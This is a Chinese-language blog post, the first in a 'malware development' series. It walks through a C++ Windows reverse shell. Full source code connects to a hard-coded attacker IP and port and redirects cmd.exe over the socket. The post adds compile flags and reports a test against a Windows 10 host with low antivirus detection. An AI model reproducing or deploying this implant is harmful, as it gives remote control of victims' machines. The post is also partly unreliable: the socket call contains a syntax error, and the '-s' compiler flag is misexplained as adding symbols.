恶意软件开发(一)Reverse Shell

什么是Reverse Shell?

反向 Shell(Reverse Shell)是指远程攻击者在攻击成功后,通过建立一个反向连接,让受害者的机器连接到攻击者的机器上,从而达到控制受害者机器的目的。通常情况下,攻击者需要在受害者机器上植入一个恶意程序,使得该程序能够在后续与攻击者机器建立连接并接受攻击者的指令。反向 Shell 通常被用于在目标机器上执行命令、获取敏感数据、植入其他恶意程序等操作。攻击者可以通过反向 Shell 轻松地远程控制目标机器,而不需要经过复杂的端口转发等操作。

C++编写Reverse Shell

(1)通过调用WSAStartup初始化套接字库
(2)创建socket
(3)连接攻击者主机的socket
(4)反弹命令行

初始化socket

// WSAStartup函数调用Winsock DLL,初始化socket
WSAStartup(MAKEWORD(2,2), &wsaData);

创建socket

// 创建socket 
wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,);
	
hax.sin_family = AF_INET;
hax.sin_port = htons(port);
hax.sin_addr = inet_addr(ip);

连接攻击者主机的socket

// 连接攻击者主机socket
WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); 
	
memset(&sui, 0, sizeof(sui));	// 将STARTUPINFO类型结构体初始化为0
sui.cb = sizeof(sui);
sui.dwFlags = STARTF_USESTDHANDLES;
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;

反弹命令行

// 启动cmd并重定向
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);

完整代码

#include <winsock2.h>		// 通过包含winsock来使用Winsock API 
#include <stdio.h>
#pragma comment(lib, "ws2_32")

WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

int main(int argc, char* argv[]){
	// 设置攻击者IP和port
	char *ip = (char*)"172.18.53.19";
	short port = 4444;
	
	// WSAStartup函数调用Winsock DLL,初始化socket
	WSAStartup(MAKEWORD(2,2), &wsaData);
	
	// 创建socket 
	wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL,);
	
	hax.sin_family = AF_INET;
	hax.sin_port = htons(port);
	hax.sin_addr = inet_addr(ip);
	
	// 连接攻击者主机socket
	WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL); 
	
	memset(&sui, 0, sizeof(sui));	// 将STARTUPINFO类型结构体初始化为0
	sui.cb = sizeof(sui);
	sui.dwFlags = STARTF_USESTDHANDLES;
	sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;
	
	// 启动cmd并重定向
	CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
	exit(0);
}

代码测试

这里使用kali(172.18.53.19)作为攻击者,Windows10物理机作为被攻击者,首先对代码进行编译:

g++ shell.cpp -o shell.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

参数解释:

shell.cpp:要编译的源代码文件。
-o shell.exe:指定输出的可执行文件名为 shell.exe。
-lws2_32:连接 WinSock2 库,这是一个 Windows 下的网络编程库。
-s:在输出文件中包含符号表和调试信息,以便在调试程序时使用。
-ffunction-sections 和 -fdata-sections:告诉编译器将每个函数和变量放在不同的节(section)中。这样做可以使得链接器只链接实际使用的代码和数据,而忽略未使用的代码和数据,从而减小可执行文件的大小。
-Wno-write-strings:忽略对字符串常量的写操作,避免编译器报出相关的警告。
-fno-exceptions:禁用 C++ 异常处理机制。
-fmerge-all-constants:将所有常量合并到一个单独的节中。
-static-libstdc++ 和 -static-libgcc:告诉编译器链接静态版的标准 C++ 库和 GCC 运行时库。
-fpermissive:容错模式,允许一些不符合标准的代码通过编译。


接着,在kali上起监听:

在Windows主机上运行shell.exe,在kali上发现shell已经反弹回来了:

将编译完的shell.exe上传至virustotal,可以发现68个AV引擎中,有8个将文件检测为恶意软件:

posted @ 2023-04-17 11:31  顾北清  阅读(452)  评论(4编辑  收藏  举报